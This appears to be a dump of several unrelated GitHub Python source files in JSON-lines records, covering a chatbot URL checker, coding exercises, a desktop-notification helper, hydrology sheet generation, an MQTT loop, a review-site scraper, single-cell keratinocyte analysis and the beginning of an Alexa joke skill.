sample_url = \"https://www.randomwebsite.com/@@123/734568\"\n\n d_df = extract_urlfeatures(sample_url)\n d_df = scaler.transform(d_df)\n print(rfc.predict(d_df))\n text = \"Here is the URL to help you: \"+sample_url+\" (the information url looks suspicious. Please open with caution)\"\n dispatcher.utter_message(text=text)\n\n return []\n\nclass ActionStressUrlCheck(Action):\n\n def name(self) -> Text:\n return \"action_stress_url\"\n\n def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n \n sample_url = \"https://www.heart.org/en/healthy-living/healthy-lifestyle/stress-management/what-is-stress-management\"\n\n d_df = extract_urlfeatures(sample_url)\n d_df = scaler.transform(d_df)\n print(rfc.predict(d_df))\n text = \"Here is the URL to help you:\"+sample_url\n dispatcher.utter_message(text=text)\n\n return []\n","repo_name":"suriyapalanikumar-devcode/healthenquirychatbot","sub_path":"actions/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":4279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34150769141","text":"print(\"Leer 10 números enteros, almacenarlos en un vector y determinar cuáles son los datos almacenados múltiplos de 3. \")\r\n\r\n\r\n\r\ncount=1\r\nlista=[]\r\nwhile count<11: \r\n numero=int(input(\"Introduzca su %d numero:\" %(count)))\r\n lista.append(numero)\r\n count=count+1\r\ncontador=0\r\nlista2 = []\r\nfor x in lista:\r\n if x % 3 == 0:\r\n lista2.append(x) \r\n \r\nprint(\"los multilplo de 3\", lista2)\r\n\r\ninput(\"presiona enter para cerrar\")","repo_name":"oscarliz/Ejercicios-esencia-de-la-logica","sub_path":"Restantes1/ejercicio#16.py","file_name":"ejercicio#16.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"359129181","text":"import sys\r\n\r\ninput = sys.stdin.readline\r\n\r\nn = int(input())\r\nmat_info = [*map(int, input().split())]\r\nfor _ in range(n - 1):\r\n mat_info.append(int(input().split()[1]))\r\n\r\n\r\ndef solution(n, mat):\r\n arr = [[-1] * (n) for _ in range(n)]\r\n for s in range(n):\r\n e = s\r\n arr[s][e] = 0\r\n\r\n for d in range(1, n):\r\n for s, e in zip(range(n - d), range(d, n)):\r\n res = sys.maxsize\r\n S = mat[s]\r\n E = mat[e + 1]\r\n\r\n for m in range(s + 1, e + 1):\r\n _res = S * mat[m] * E + arr[s][m - 1] + arr[m][e]\r\n res = min(res, _res)\r\n arr[s][e] = res\r\n\r\n return arr\r\n\r\n\r\nans = solution(n, mat_info)\r\nprint(ans[0][-1])","repo_name":"leejuhanKr/Algorithm","sub_path":"백준/Gold/11049. 행렬 곱셈 순서/행렬 곱셈 순서.py","file_name":"행렬 곱셈 순서.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"7864592169","text":"import sys\r\n\r\n\r\nclass Stack:\r\n def __init__(self):\r\n self.s = []\r\n\r\n def push(self, item):\r\n self.s.append(item)\r\n\r\n def pop(self):\r\n if self.isEmpty() == False:\r\n return self.s.pop(0)\r\n else:\r\n return None\r\n\r\n def peek(self):\r\n if self.isEmpty() == False:\r\n return self.s[-1]\r\n else:\r\n return None\r\n\r\n def isEmpty(self):\r\n if len(self.s) > 0:\r\n return False\r\n else:\r\n return True\r\n\r\n def size(self):\r\n return len(self.s)\r\n\r\n def print(self):\r\n print(self.s)\r\n\r\n\r\nclass Queue:\r\n def __init__(self):\r\n self.q = []\r\n\r\n def enQueue(self, item):\r\n self.q.append(item)\r\n\r\n def deQueue(self):\r\n if self.isEmpty() == False:\r\n return self.q.pop(0)\r\n\r\n def size(self):\r\n return len(self.q)\r\n\r\n def isEmpty(self):\r\n if len(self.q) > 0:\r\n return False\r\n else:\r\n return True\r\n\r\n def peek(self):\r\n if self.isEmpty() == False:\r\n return self.q[0]\r\n\r\n def delete(self, item):\r\n if item in self.q:\r\n self.q.remove(item)\r\n else:\r\n print(\"해당 아이템이 존재하지 않습니다.\")\r\n\r\n\r\nclass Graph:\r\n def __init__(self, graph, start):\r\n self.graph = graph\r\n self.start = start\r\n self.s = Stack()\r\n self.visit = []\r\n\r\n def dfs(self):\r\n self.s.push(self.start)\r\n while self.s.isEmpty() == False:\r\n curNode = self.s.pop()\r\n if curNode not in self.visit:\r\n self.visit.append(curNode)\r\n\r\n my_node = [\r\n node\r\n for node in sorted(list(set(self.graph[curNode]) - set(self.visit)))\r\n ]\r\n self.s.s = my_node + self.s.s\r\n return self.visit\r\n\r\n def bfs(self):\r\n visit = [self.start]\r\n queue = Queue()\r\n for item in self.graph[self.start]:\r\n queue.enQueue(item)\r\n\r\n while queue.isEmpty() == False:\r\n item = queue.deQueue()\r\n if not item in visit: # 현재 아이템이 가본 곳이 아니면 ...\r\n for _item in self.graph[item]:\r\n queue.enQueue(_item)\r\n visit.append(item)\r\n return visit\r\n\r\n\r\ninput = lambda: sys.stdin.readline().rstrip()\r\nmy_input = input()\r\nv, e, start = [int(i) for i in my_input.split(\" \")]\r\nedge = [[False for i in range(v)] for i in range(v)]\r\nfor i in range(e):\r\n x, y = input().split(\" \")\r\n edge[int(x) - 1][int(y) - 1] = True\r\n edge[int(y) - 1][int(x) - 1] = True\r\n\r\nmy_dict = {}\r\nfor idx, value in enumerate(edge):\r\n my_dict[idx] = [i for i, j in enumerate(value) if j]\r\n\r\ng = Graph(my_dict, start - 1)\r\n\r\nprint(\" \".join([f\"{i + 1}\" for i in g.dfs()]))\r\nprint(\" \".join([f\"{i + 1}\" for i in g.bfs()]))\r\n","repo_name":"JB0527/Program_Solving","sub_path":"백준/Silver/1260. DFS와 BFS/DFS와 BFS.py","file_name":"DFS와 BFS.py","file_ext":"py","file_size_in_byte":2921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72018548883","text":"import os\nimport psutil\nfrom subprocess import Popen\n\nimport logging\n\nlogger = logging.getLogger('vcc')\n\n\n# Get all displays for oper users.\ndef get_displays(all_users=False, display=None):\n\n displays = [display if display else os.environ.get('DISPLAY', None)]\n if all_users:\n oper = [user.pid for user in psutil.users() if user.name == 'oper']\n for prc in psutil.process_iter():\n for parent in prc.parents():\n if parent.pid in oper:\n try:\n displays.append(prc.environ().get('DISPLAY', None))\n finally:\n break\n\n return list(filter(None, list(set(displays))))\n\n\n# Notify oper using vcc message_box. Pop message box to all displays or the user display\ndef notify(title, message, option='', all_users=False, display=None, icon='info'):\n cmd = f\"vcc-message {option} \\'{title}\\' \\'{message}\\' \\'{icon}\\'\"\n\n # Use popen so that thread is not blocked by window message\n if not display and not all_users:\n Popen([cmd], shell=True, stdin=None, stdout=None, stderr=None, close_fds=True)\n else:\n for display in get_displays(all_users, display):\n logger.debug(f'display is {display}')\n env = {**os.environ, **{'DISPLAY': display}}\n Popen([cmd], env=env, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True)\n\n\n# Notify oper using zenity message box. Pop message box to all displays or the user display\ndef notify_zenity(title, message, all_users=False, display=None):\n cmd = f\"zenity --info --text=\\'{message}\\' --no-wrap --title=\\'{title}\\'\"\n\n if not display and not all_users:\n Popen([cmd], shell=True, stdin=None, stdout=None, stderr=None, close_fds=True)\n else:\n for display in get_displays(all_users, display):\n logger.debug(f'display is {display}')\n Popen([cmd + f' --display={display}'], shell=True, stdin=None, stdout=None, stderr=None, close_fds=True)\n\n\n","repo_name":"nvi-inc/vcc-client","sub_path":"vcc/ns/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36301141850","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 24 17:10:28 2020\n\n@author: ntr002\n\"\"\"\nimport os\nimport csv\nfrom . import calculate_flux as cf\nfrom . import get_dictionaries as gd\nfrom . import hydroloop as hl\n\ndef main(BASIN,unit_conversion=1):\n '''\n unit_conversion: 1 for TCM, 1000 for MCM, 1e6 for BCM or km3)\n '''\n #check requirements\n# requirements=gd.get_requirements_for_sheet(6) \n# if not cf.check_requirement_sheet(BASIN,requirements):\n# print(\"ERROR: Data requirements for Sheet 6 are not fulfilled\")\n# return None\n \n #create folder to save intermetidate data\n folder=os.path.join(BASIN['output_folder'],\n 'csv','timeseries') \n if not os.path.exists(folder):\n os.makedirs(folder)\n output_file=os.path.join(folder,'sheet6_{0}.csv')\n #create folder to save sheet 6 csv\n sheet_folder=os.path.join(BASIN['output_folder'],'csv','sheet6') \n if not os.path.exists(sheet_folder):\n os.makedirs(sheet_folder) \n\n #Get sheet 6 classes\n classes=gd.get_sheet4_6_classes(version='1.0')\n #Calulate time-series data to fill in Sheet 6 \n data={}\n for variable in ['recharge','supply_gw','return_gw_from_gw','return_gw_from_sw']:\n df=cf.calc_flux_per_LU_class(\n BASIN['data_cube']['monthly'][variable],\n BASIN['data_cube']['monthly']['lu'],\n BASIN['gis_data']['basin_mask'],\n chunksize=BASIN['chunksize'],\n output=output_file.format(variable),\n lu_dictionary=classes\n )\n data[variable]=df/unit_conversion \n \n df=cf.calc_flux_per_basin(\n BASIN['data_cube']['monthly']['bf'],\n BASIN['gis_data']['basin_mask'],\n chunksize=BASIN['chunksize'],\n output=output_file.format(variable) \n )\n data['bf']=df/unit_conversion\n #Fill data in Sheet 6 csv\n monthly_csvs=[]\n for i in range(len(df.index)):\n year=df.index[i].year\n month=df.index[i].month\n entries={\n 'RETURN_FLOW_GROUNDWATER':{},\n 'VERTICAL_RECHARGE':{},\n 'VERTICAL_GROUNDWATER_WITHDRAWALS':{},\n 'RETURN_FLOW_SURFACEWATER':{}, \n }\n for lu in classes:\n entries['RETURN_FLOW_GROUNDWATER'][lu]=data['return_gw_from_gw'][lu].iloc[i]\n entries['VERTICAL_RECHARGE'][lu]=data['recharge'][lu].iloc[i]\n entries['VERTICAL_GROUNDWATER_WITHDRAWALS'][lu]=data['supply_gw'][lu].iloc[i]\n entries['RETURN_FLOW_SURFACEWATER'][lu]=data['return_gw_from_sw'][lu].iloc[i]\n \n entries_2={'CapillaryRise': '0.0', #assume no capillary rise\n 'DeltaS': '0.0',\n 'ManagedAquiferRecharge': '0.0',\n 'Baseflow': data['bf'].iloc[i][0],\n 'GWInflow': '0.0',\n 'GWOutflow': '0.0'}\n #write sheet 2 csv\n output_fh=os.path.join(sheet_folder,'sheet6_{0}_{1}.csv'.format(year,month))\n create_sheet6_csv(entries,entries_2,output_fh) \n monthly_csvs.append(output_fh)\n ##calculate yearly csvs\n yearly_folder=os.path.join(sheet_folder,'yearly') \n if not os.path.exists(yearly_folder):\n os.makedirs(yearly_folder) #create sheet1 folder \n yearly_csvs=hl.calc_yearly_sheet(monthly_csvs,\n yearly_folder,\n hydroyear=BASIN['hydroyear'])\n return yearly_csvs\n \ndef create_sheet6_csv(entries, entries_2, output_fh):\n \"\"\"\n Create a csv-file with all necessary values for Sheet 6.\n \n Parameters\n ----------\n entries : dict\n Dictionary with 'VERTICAL_RECHARGE', 'VERTICAL_GROUNDWATER_WITHDRAWALS',\n 'RETURN_FLOW_GROUNDWATER' and 'RETURN_FLOW_SURFACEWATER' keys. Values are strings pointing to\n files of maps.\n entries_2 : dict\n Dictionary with 'CapillaryRise', 'DeltaS', 'ManagedAquiferRecharge', 'Baseflow',\n 'GWInflow' and 'GWOutflow' as keys. Values are floats or 'nan.\n output_fh : str\n File to store results.\n \n Returns\n -------\n output_csv_fh : str\n String pointing to the newly created csv-file.\n \"\"\"\n \n required_landuse_types = ['Wetlands','Greenhouses','Rainfed Crops','Residential','Industry','Natural Grasslands',\n 'Forests','Shrubland','Managed water bodies','Other (Non-Manmade)','Aquaculture','Forest Plantations',\n 'Irrigated crops','Other','Natural Water Bodies', 'Glaciers'] \n \n \n first_row = ['TYPE', 'SUBTYPE', 'VALUE']\n \n csv_file = open(output_fh, 'w')\n writer = csv.writer(csv_file, delimiter=';', lineterminator = '\\n')\n writer.writerow(first_row)\n \n for SUBTYPE in list(entries.keys()):\n for TYPE in list(entries[SUBTYPE].keys()):\n row = [TYPE, SUBTYPE, entries[SUBTYPE][TYPE]]\n writer.writerow(row)\n if TYPE in required_landuse_types:\n required_landuse_types.remove(TYPE)\n \n for missing_landuse_type in required_landuse_types:\n writer.writerow([missing_landuse_type, 'VERTICAL_RECHARGE', 'nan'])\n writer.writerow([missing_landuse_type, 'VERTICAL_GROUNDWATER_WITHDRAWALS', 'nan'])\n writer.writerow([missing_landuse_type, 'RETURN_FLOW_GROUNDWATER', 'nan'])\n writer.writerow([missing_landuse_type, 'RETURN_FLOW_SURFACEWATER', 'nan'])\n \n for key in list(entries_2.keys()):\n row = ['NON_LU_SPECIFIC', key, entries_2[key]]\n writer.writerow(row)\n \n csv_file.close()\n \n return True","repo_name":"trngbich/Hydroloop","sub_path":"WAsheets/sheet6.py","file_name":"sheet6.py","file_ext":"py","file_size_in_byte":5801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8084061201","text":"import pandas as pd\nimport joblib\nfrom dataLoader.dataLoader import dataLoader\nfrom models.model import FeatureExtractor\nfrom configs.config import CFG\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\n\n\n# Reduced Data directory\nREDUCED_DATA_PATH = \"dimensionality_reduction/reduced_data.csv\"\n\n# Upload directory\nUPLOAD_DIRECTORY = \"static/images\"\n\n# Static data directory\nSTATIC_DATA_Directory = \"static/images\"\n\n# KNeighbors model directory \nKNEIGHBORS_DIRECTORY = \"kneighbors_finding/kneighbors_model.joblib\"\n\n# PCA model \nPCA_MODEL_DIRECTORY = \"dimensionality_reduction/pca_model.joblib\"\n\n# Load data\ndf = pd.read_csv(REDUCED_DATA_PATH)\ndf[\"class\"] = df[\"class\"].astype(\"str\")\n\n\ndef extract_features(img):\n \"\"\" This function takes an image of interest, extracts feautres and reduces its dimension \"\"\"\n # load models\n model = FeatureExtractor(CFG)\n model.load_model()\n feature_extractor = model.feature_extractor()\n\n # extract features \n print(type(img))\n extracted_features = feature_extractor.predict([img])\n\n # reduce dimension\n pca_model = joblib.load(PCA_MODEL_DIRECTORY)\n reduced_img = pca_model.transform(extracted_features)\n return reduced_img\n\n\ndef run():\n data_loader_object = dataLoader()\n neighrest_images = []\n neighrest_classes = []\n neighrest_directories = []\n\n # Loading the uploaded image and performing feature extraction\n image_of_interest = data_loader_object.load_uploaded_img(UPLOAD_DIRECTORY, \"image_of_interest.jpg\")\n preprocessed_img = data_loader_object.preprocess_image(image_of_interest)\n reduced_image = extract_features(preprocessed_img)\n\n # Finding the 6 neighrest images \n neigh = joblib.load(KNEIGHBORS_DIRECTORY)\n reduced_image = reduced_image.reshape((3))\n print(\"reduced_img: {}\".format(reduced_image))\n neighbors = neigh.kneighbors([reduced_image], return_distance=False)\n print(neighbors)\n for index_neighbor in neighbors[0]:\n neighbor_name = df.loc[index_neighbor, \"name\"]\n neighbor_class = df.loc[index_neighbor, \"class\"]\n neighrest_images.append(neighbor_name)\n neighrest_classes.append(neighbor_class)\n\n\nif __name__== \"__main__\":\n run()","repo_name":"otmane-el-aloi/geological-similarity","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"37347226203","text":"import paho.mqtt.client as mqtt\nimport time\nfrom paho.mqtt import publish\n\nMQTT_SERVER = \"localhost\"\nMQTT_PORT = 1883\nmessage_id = 0\n# MQTT topics => publish\nMQTT_TOPIC_CALL = \"call_get_status\"\nMQTT_TOPIC2 = \"enter\"\ntext_sum4 = \"\"\n\n\ndef on_connect(client, userdata, flags, rc):\n print('Đã kết nối với mã kết quả: ' + str(rc))\n client.subscribe(MQTT_TOPIC_CALL)\n client.subscribe(MQTT_TOPIC2)\n\ndef on_message(client, userdata, msg):\n global text_sum4\n if msg.topic == MQTT_TOPIC_CALL and msg.payload == b'e':\n publish.single(MQTT_TOPIC_CALL, payload=\"enroll\", hostname=MQTT_SERVER, port=MQTT_PORT, qos=1)\n elif msg.topic == MQTT_TOPIC_CALL and msg.payload == b'd':\n publish.single(MQTT_TOPIC_CALL, payload=\"delete\", hostname=MQTT_SERVER, port=MQTT_PORT, qos=1)\n elif msg.topic == MQTT_TOPIC_CALL and msg.payload == b'f':\n publish.single(MQTT_TOPIC_CALL, payload=\"find\", hostname=MQTT_SERVER, port=MQTT_PORT, qos=1)\n elif msg.topic == MQTT_TOPIC_CALL and msg.payload == b'l':\n text_sum4 = \"loop\"\n elif msg.topic == MQTT_TOPIC_CALL and msg.payload == b's':\n text_sum4 = \"stop\"\n elif msg.topic == MQTT_TOPIC_CALL:\n if msg.payload.isdigit():\n number = int(msg.payload)\n if 1 <= number <= 127:\n data = number\n print(\"Data: \", data)\n\n\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message\nclient.connect('localhost', 1883, 60)\n\n# Start the MQTT client loop\nclient.loop_start()\n\nwhile True:\n publish.single(MQTT_TOPIC2, payload=\"4\", hostname=MQTT_SERVER, port=MQTT_PORT, qos=1)\n time.sleep(3)\n if text_sum4 == \"loop\":\n print(\"loop\")\n time.sleep(5)\n if text_sum4 == \"stop\":\n print(\"stop\")\n pass\n\n","repo_name":"nguyen24072001/pythonProject2","sub_path":"pythonProject2/mqtt_call.py","file_name":"mqtt_call.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26690110790","text":"import scrapy\n\n\n# from ghost import Ghost\n\nclass IrecommendSpider(scrapy.Spider):\n name = 'irecommend'\n allowed_domains = ['irecommend.ru']\n start_urls = ['https://irecommend.ru/catalog/list/31']\n\n def start_requests(self):\n # Cookie - это строка cookie, полученная после входа в систему.\n cookies = 'ab_var=9; _ym_uid=1642182277111621385; _ym_d=1650790107; ss_uid=16507901074258828; _ga=GA1.1.471788507.1650790107; v=fc; stats_s_a=nQLabnyAzHUjvFrVin%2FNY4zvpxU6yP1mLGyFId0iwBgJ7II%2FUeQYY9SHWOET6VilqH8crf7q0R5ssxRt3HrkbOFG4q4DQ%2B%2BHtugaODIrgZyEhRfyjV3H9ZvGG9zUU4Rktezif5iyia5kSPVx%2FVlLbmPUPxM053Fc0%2FjRVyv2aedbw%2FUsLXr361IbEGfz7sDHwVCxgJFD4UucOHu8oVym4XamyvrrUAknyqTg9yuLe9a4vQwYZjOqxtwLq9VauVuZtgiS2wmmkYo%3D; stats_u_a=TvoYVZvdZYFvh9%2BZitqd66F9dmiG362BqgPxo7ucGUAxKe0in2M4AK%2FM%2BYDBwq6Y7U%2BAWnV0A37Kwgb2om2ft6IkD%2BydlnC%2F%2BaJfXsuns20%3D; _ym_isad=1; _gid=GA1.1.1414163064.1652375890; _ym_visorc=b'\n # Преобразовать в словарь\n cookies = {i.split(\"=\")[0]: i.split(\"=\")[1] for i in cookies.split(\"; \")}\n # headers = {\"Cookie\":cookies}\n yield scrapy.Request(\n self.start_urls[0],\n callback=self.parse,\n cookies=cookies # переносить cookies для запроса\n # headers = headers\n )\n\n def parse(self, response):\n # Getting base pagination links\n for page_url in response.css('div.item-list ul.pager li.pager-item a::attr(\"href\")'):\n yield response.follow(page_url, callback=self.parse)\n\n # Getting links to product\n for product_url in response.css('div.view-content div.ProductTizer a.reviewsLink::attr(\"href\")'):\n yield response.follow(product_url, callback=self.parse_review)\n print(1)\n\n # def parse_product(self, response):\n # # Getting product pagination links\n # for prod_page_url in response.css('div.item-list ul.pager li a::attr(\"href\")'):\n # yield response.follow(prod_page_url, callback=self.parse_product)\n #\n # # Getting links to review\n # for review_url in response.css('div.item-list ul.list-comments li.item div.reviewTitle a::attr(\"href\")'):\n # yield response.follow(review_url, callback=self.parse_review)\n\n def parse_review(self, response):\n print(1)\n","repo_name":"SciWake/OLD-parser","sub_path":"review/spiders/irecommend.py","file_name":"irecommend.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1876886274","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n###############################################################################\n#%% Import\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams\nimport numpy as np\nimport os.path\nimport pandas as pd\nimport scanpy as sc # v1.4.3\nimport sys\n###############################################################################\n#%% Settings\nsc.settings.set_figure_params(dpi=100)\n###############################################################################\n#%% Subsetting\nadata = sc.read_h5ad('KCs.h5ad')\nadata.raw = adata\nadata = adata[adata.obs['Status'].isin(['Healthy'])]\nadata.raw\nsave_file = 'kc_healthy.h5ad'\nadata.write(save_file)\n\nsc.pp.normalize_per_cell(adata, counts_per_cell_after=1e4)\nsc.pp.log1p(adata)\n###############################################################################\n#%% Variable genes\nsc.pp.highly_variable_genes(adata, min_mean=0.1, max_mean=4)\nsc.pl.highly_variable_genes(adata)\n###############################################################################\n#%% PCA\nsc.tl.pca(adata, n_comps=50)\nsc.pl.pca_variance_ratio(adata, log=True)\n###############################################################################\n#%% BBKNN\nimport bbknn # v1.3.2\nbbknn.bbknn(adata, batch_key='donor_id', copy=False, n_pcs=50)\n###############################################################################\n#%% UMAP\nsc.tl.umap(adata)\nsc.pl.umap(adata, color='donor_id')\nsc.pl.umap(adata, color='Status')\n###############################################################################\n#%% Clustering\nres = 2 # chosen resolution\nleiden_res = 'leiden_res' + str(res)\nsc.tl.leiden(adata, resolution=res, key_added=leiden_res)\nsc.pl.umap(adata, color=leiden_res, save='_' + leiden_res + '.png', )\n###############################################################################\n#%% FDG\nsc.tl.draw_graph(adata, layout='fa')\nsc.pl.draw_graph(adata, layout='fa')\nsave_file = 'kc_healthy_preprocessed_clustered.h5ad'\nadata.write(save_file)\n\n###############################################################################\n#%% Choose clustering:\nsc.tl.dendrogram(adata, groupby='leiden_res2', n_pcs=None, use_rep=None, var_names=None, use_raw=None, cor_method='pearson', linkage_method='complete', key_added=None)\n###############################################################################\n#%% Annotation\nadata.obs['Annotation_general'] = adata.obs['leiden_res2']\nclusters = list(map(str, range(0, 18+1)))\ncelltypes = [\n 'Pre_proliferation_KC',\n 'Pre_proliferation_KC',\n 'Pre_proliferation_KC',\n 'Pre_proliferation_KC',\n 'Post_proliferation_KC',\n 'Post_proliferation_KC',\n 'Pre_proliferation_KC',\n 'Post_proliferation_KC',\n 'Post_proliferation_KC',\n 'Post_proliferation_KC',\n 'Post_proliferation_KC',\n 'Post_proliferation_KC',\n 'CD83_KC',\n 'Proliferating_KC',\n 'Post_proliferation_KC',\n 'Pre_proliferation_KC',\n 'CD83_KC',\n 'CD83_KC',\n 'Post_proliferation_KC',\n ]\ncolours_general = [\n '#E87D72',\n '#0e6c8b',\n '#b8bae5',\n '#87AC34',\n ]\ncell_dict = dict(zip(clusters, celltypes))\nadata.obs['Annotation_general'] = adata.obs['Annotation_general'].map(cell_dict)\n\nsc.settings.set_figure_params(dpi=150)\nsc.pl.draw_graph(adata, color='Annotation_general', save='_Annotation_general.png', palette=colours_general)\nsc.pl.umap(adata, color='Annotation_general', save='_Annotation_general.png', palette=colours_general)\n###############################################################################\n#%% Feature plots for figure B\nimport matplotlib.pyplot as plt\ngr_col = mpl.colors.LinearSegmentedColormap.from_list('rg', ['silver', 'red'])\n\nsc.pl.draw_graph(adata, color='CNFN', color_map=gr_col, use_raw=False)\nsc.pl.draw_graph(adata, color='CNFN', save='_CNFN_red.png', color_map=gr_col, use_raw=False)\nsc.pl.draw_graph(adata, color='KRT10', save='_KRT10_red.png', color_map=gr_col, use_raw=False)\nsc.pl.draw_graph(adata, color='CDK1', save='_CDK1_red.png', color_map=gr_col, use_raw=False)\nsc.pl.draw_graph(adata, color='KRT15', save='_KRT15_red.png', color_map=gr_col, use_raw=False)\nsc.pl.draw_graph(adata, color='HMMR', save='_HMMR_red.png', color_map=gr_col, use_raw=False)\nsc.pl.draw_graph(adata, color='HILPDA', save='_HILPDA_red.png', color_map=gr_col, use_raw=False)\n###############################################################################\n#%% Combine clusters:\nadata.obs['Annotation'] = adata.obs['leiden_res2']\nclusters = list(map(str, range(0, 18+1)))\ncelltypes = [\n 'c1',\n 'c1',\n 'c1',\n 'c5',\n 'c7',\n 'c7',\n 'c5',\n 'c3',\n 'c6',\n 'c3',\n 'c4',\n 'c3',\n 'c8',\n 'c2',\n 'c3',\n 'c1',\n 'c8',\n 'c8',\n 'c3',\n ]\ncell_dict = dict(zip(clusters, celltypes))\nadata.obs['Annotation'] = adata.obs['Annotation'].map(cell_dict)\n\nkc_colours2 = [\n '#00A9FF',\n '#7CAE00',\n '#00BFC4',\n '#218b5e',\n '#ffac7f',\n '#CD9600',\n 'grey',\n '#F8766D']\n\nsc.pl.draw_graph(adata, color='Annotation', palette=kc_colours2)\n###############################################################################\n#%% Figure D - FDG\nrcParams['figure.figsize'] = 5, 5\nsc.pl.draw_graph(adata, color='Annotation', save='_Annotation.png', palette=kc_colours2)\nsc.pl.draw_graph(adata, color='Annotation', save='_Annotation_labels.png', palette=kc_colours2, legend_loc='on data',)\n#%% Figure D - PAGA\nsc.tl.paga(adata, groups='Annotation')\nsc.pl.paga(adata, layout='fa', threshold=0.1, node_size_scale=3, edge_width_scale=1, frameon=False, node_size_power=0, random_state=8)\nsc.pl.paga(adata, layout='fa', threshold=0.1, node_size_scale=3, edge_width_scale=1, frameon=False, node_size_power=0)\n#%% Figure F - heatmap\ndotplot2_genes = list(reversed(['CST6', 'KRT2', 'SDR9C7', 'CYP4F22', 'TGM1', 'PRSS8', 'SULT2B1', 'CERS3', 'ABCA12', 'KRTDAP', 'CKAP4', 'SPINK5', 'KLK7', 'CLIP1', 'TJP1', 'ELOVL4', 'OCLN', 'PRDM1', 'RELA', 'SLC27A4', 'NIPAL4', 'SPTSSB']))\nsc.pl.dotplot(adata, dotplot2_genes, groupby='Annotation', use_raw=False, save='_FIGURE_F.png', color_map=dot_col)\n###############################################################################\n#%% Markers: Annotation_general\nsc.tl.rank_genes_groups(adata, 'Annotation_general', method='wilcoxon', use_raw=False)\nsc.pl.rank_genes_groups(adata, n_genes=25, sharey=False, save='.pdf')\nadata.uns['rank_genes_groups_Annotation_general'] = adata.uns['rank_genes_groups']\n#%% Markers: Annotation\nsc.tl.rank_genes_groups(adata, 'Annotation', n_genes=500, method='wilcoxon', use_raw=False)\nadata.uns['rank_genes_groups_Annotation'] = adata.uns['rank_genes_groups']\nsc.pl.rank_genes_groups(adata, n_genes=25, sharey=False, save='.pdf')\nresult = adata.uns['rank_genes_groups_Annotation']\nres_genes = pd.DataFrame(result['names'])\ngroups = result['names'].dtype.names\nres_df = pd.DataFrame( {\n group + '_' + key: result[key][group]\n for group in groups for key in ['names', 'pvals', 'pvals_adj', 'logfoldchanges'] })\nres_df.to_csv('rank_genes_groups_Annotation.csv')\n###############################################################################\n#%% DPT\nsc.tl.diffmap(adata, n_comps=15)\nsc.pl.scatter(adata, basis='diffmap', color='Annotation', save='.png')\nadata.uns['iroot'] = np.flatnonzero(adata.obs['Annotation'] == 'c1')[0]\nsc.tl.dpt(adata, n_dcs=10, n_branchings=0, min_group_size=0.01, allow_kendall_tau_shift=True)\nsc.pl.scatter(adata, basis='diffmap', color='dpt_pseudotime', save='_pdt.png')\nsc.pl.draw_graph(adata, color='dpt_pseudotime', save=('_dpt_pseudotime.png'), use_raw=False)\nsc.pl.paga(adata, layout='fa', threshold=0.1, node_size_scale=3, edge_width_scale=1, frameon=False, node_size_power=0, color='dpt_pseudotime', save='_kc_paga_pdt.pdf')\n#save_file = 'kc_healthy_preprocessed_clustered.h5ad'\n#adata.write(save_file) # saved\n#adata = sc.read_h5ad('kc_healthy_preprocessed_clustered.h5ad')\n###############################################################################\n#%% Save annotation\nreplacement = adata.obs['Annotation'] # cells of the subset\nreplacement.to_pickle('replacement_kc_healthy_Annotation.pkl')\nreplacement = adata.obs['Annotation_general'] # cells of the subset\nreplacement.to_pickle('replacement_kc_healthy_Annotation_general.pkl')\n","repo_name":"haniffalab/HCA_skin","sub_path":"Celltype_compartment_analysis/keratinocyte/n3_healthy_skin.py","file_name":"n3_healthy_skin.py","file_ext":"py","file_size_in_byte":8237,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"} +{"seq_id":"24505580455","text":"\nimport logging\nimport ask_sdk_core.utils as ask_utils\n\nfrom ask_sdk_core.skill_builder import SkillBuilder\nfrom ask_sdk_core.dispatch_components import AbstractRequestHandler\nfrom ask_sdk_core.dispatch_components import AbstractExceptionHandler\nfrom ask_sdk_core.handler_input import HandlerInput\n\nfrom ask_sdk_model import Response\n\nimport random\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\njokes = [\n \"Did you hear about the semi-colon that broke the law? He was given two consecutive sentences.\",\n \"I ate a clock yesterday, it was very time-consuming.\",\n \"I've just written a song about tortillas; actually, it's more of a rap.\",\n \"I woke up this morning and forgot which side the sun rises from, then it dawned on me.\",\n \"I recently decided to sell my vacuum cleaner as all it was doing was gathering dust.\",\n \"If you shouldn't eat at night, why do they put a light in the fridge?\",\n \"My socks got really holy. I can only wear them to church.\",\n \"I fear my stuttering brother may never finish his prison sentence.\",\n \"The longest I’ve ever gone without a pun was 7 days. Pretty weak.\",\n \"This gravity joke is getting a bit old, but I fall for it every time.\",\n \"What happens when a cop gets into bed? He becomes an undercover cop.\",\n \"Why are eggs not very much into jokes? Because they could crack up.\",\n \" Farting in a lift is wrong on so many levels!\",\n \"Two 